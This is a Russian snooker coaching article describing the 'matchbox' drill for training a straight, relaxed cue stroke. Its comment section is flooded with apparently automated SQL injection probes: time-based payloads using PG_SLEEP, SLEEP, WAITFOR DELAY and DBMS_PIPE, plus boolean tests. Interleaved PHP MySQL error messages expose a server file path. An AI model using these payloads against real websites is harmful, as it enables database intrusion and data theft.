Коробок, отработка кьюинга (+2 видео)

Это упражнение может принести вам очень много пользы и поднять ваш уровень игры на новую, более высокую, ступень. Это упражнение рекомендуется выполнять в начале каждой тренировки до того момента пока вы не почувствуете что рука расслаблена, а кий ходит строго по прямой линии.

Упражнение «коробок» выполняет 2 функции:

a) Оно тренирует мышечную память, обучая вашу ударную руку специфическому движению вперед и назад, чем больше вы будете тренировать это движение, тем более прямолинейным будет движение вашего кия.

b) Также это упражнение позволяет вам тренировать одновременно и расслабленность вашей руки. Расслабленность руки позволит вам выполнять это упражнение много дольше и делает движение кия более четким.

практика практика

Как сделать коробочку для тренировки. Возьмите пустой коробок от спичек, выдвиньте коробочку и проделайте в ней небольшое отверстие (для этой цели вполне подойдет ручка) достаточное, чтобы можно было просунуть наклейку кия. Затем проденьте кий в это отверстие и, вращая кий, медленно продвигайте коробочку по кию вниз, до тех пор, пока диаметр отверстия не составит примерно 18 мм для новичков и 15 мм для опытных игроков.

Видео пояснения как сделать коробок для тренировки:

Поставьте коробок на болкерную линию (см. рисунок) в районе точки коричневого шара, поставьте шар на точку синего. Представьте что отверстие на коробке это биток, глядя только на прицельный шар станьте в стойку подходя по линии удара, только после того как ваша наклейка уже у коробка переведите взгляд на отверстие и проверьте чтобы кий был посередине отверстия , затем опять верните взгляд на прицельный шар и выполните удар стараясь не задеть коробок, выполняя это движение сконцентрируйтесь на полной неподвижности и расслабленности, затем повторяйте удар пока не почувствуете что у вас получается.

Видео пояснения как правильно выполнять это упражнение:


Автор: Васильев Сергей - www.Snooker.by




Зарегистрируйтесь, чтобы иметь возможность добавлять комментарии
Добавить комментарий:
Комментарии:
avatar

Автор: 1
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),12)
avatar

Автор: 1
-1)) OR 780=(SELECT 780 FROM PG_SLEEP(12))--
avatar

Автор: 1
-5 OR 697=(SELECT 697 FROM PG_SLEEP(12))--
avatar

Автор: 1
-5) OR 624=(SELECT 624 FROM PG_SLEEP(12))--
avatar

Автор: 1
0
avatar

Автор: 1
0"XOR(if(now()=sysdate(),sleep(12),0))XOR"Z
avatar

Автор: 1
0
avatar

Автор: 1
if(now()=sysdate(),sleep(12),0)
avatar

Автор: 1
-1 OR 2+262-262-1=0+0+0+1 --
avatar

Автор: 1
-1 OR 2+147-147-1=0+0+0+1
avatar

Автор: 1
1
avatar

Автор: 1
-1" OR 2+887-887-1=0+0+0+1 --
avatar

Автор: 1
555
avatar

Автор: 1
555
avatar

Автор: 1
555
avatar

Автор: 1
555
avatar

Автор: 1
555
avatar

Автор: 1
555
avatar

Автор: 1
555
avatar

Автор: 1
555
avatar

Автор: 1
555
avatar

Автор: 1
555

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/clients/aaa1_ftp0/domains/osnooker.net/html/view_praktika.php on line 202
avatar

Автор: 1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),12)||'
555
avatar

Автор: 1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),12)
555

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/clients/aaa1_ftp0/domains/osnooker.net/html/view_praktika.php on line 202
avatar

Автор: 8SpQoTKX')) OR 649=(SELECT 649 FROM PG_SLEEP(12))--
555

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/clients/aaa1_ftp0/domains/osnooker.net/html/view_praktika.php on line 202
avatar

Автор: 4GKO3TSW') OR 50=(SELECT 50 FROM PG_SLEEP(12))--
555

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/clients/aaa1_ftp0/domains/osnooker.net/html/view_praktika.php on line 202
avatar

Автор: 9aOpRmXJ' OR 669=(SELECT 669 FROM PG_SLEEP(12))--
555
avatar

Автор: -1)) OR 113=(SELECT 113 FROM PG_SLEEP(12))--
555
avatar

Автор: -5) OR 331=(SELECT 331 FROM PG_SLEEP(12))--
555
avatar

Автор: -5 OR 601=(SELECT 601 FROM PG_SLEEP(12))--
555

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/clients/aaa1_ftp0/domains/osnooker.net/html/view_praktika.php on line 202
avatar

Автор: 4S51KvOP'; waitfor delay '0:0:12' --
555

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/clients/aaa1_ftp0/domains/osnooker.net/html/view_praktika.php on line 202
avatar

Автор: 1 waitfor delay '0:0:12' --
555

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/clients/aaa1_ftp0/domains/osnooker.net/html/view_praktika.php on line 202
avatar

Автор: -1); waitfor delay '0:0:12' --
555

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/clients/aaa1_ftp0/domains/osnooker.net/html/view_praktika.php on line 202
avatar

Автор: -1; waitfor delay '0:0:12' --
555
avatar

Автор: (select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(
555
avatar

Автор: 0"XOR(if(now()=sysdate(),sleep(12),0))XOR"Z
555
avatar

Автор: 0'XOR(if(now()=sysdate(),sleep(12),0))XOR'Z
555
avatar

Автор: if(now()=sysdate(),sleep(12),0)
555
avatar

Автор: -1' OR 2+137-137-1=0+0+0+1 --
555
avatar

Автор: -1' OR 2+506-506-1=0+0+0+1 or '3r5sDJjn'='
555
avatar

Автор: -1" OR 2+874-874-1=0+0+0+1 --
555

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/clients/aaa1_ftp0/domains/osnooker.net/html/view_praktika.php on line 202
avatar

Автор: 106'
555
avatar

Автор: 1
555
avatar

Автор: -1 OR 2+65-65-1=0+0+0+1 --
555
avatar

Автор: -1 OR 2+12-12-1=0+0+0+1
555
avatar

Автор: 1
555
avatar

Автор: 1
р'р""
avatar

Автор: 1
1А§Аў%2527%2522
avatar

Автор: 1
@@6ajVy
avatar

Автор: 1
JyI=
avatar

Автор: 1
555
avatar

Автор: @@OAuaS
555
avatar

Автор: JyI=
555

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/clients/aaa1_ftp0/domains/osnooker.net/html/view_praktika.php on line 202
avatar

Автор: ї'ї"
555
avatar

Автор: р''р""
555
avatar

Автор: 1
555
avatar

Автор: 1
555

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/clients/aaa1_ftp0/domains/osnooker.net/html/view_praktika.php on line 202
avatar

Автор: 1'"
555

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/clients/aaa1_ftp0/domains/osnooker.net/html/view_praktika.php on line 202
avatar

Автор: \
555
avatar

Автор: 1А§Аў%2527%2522
555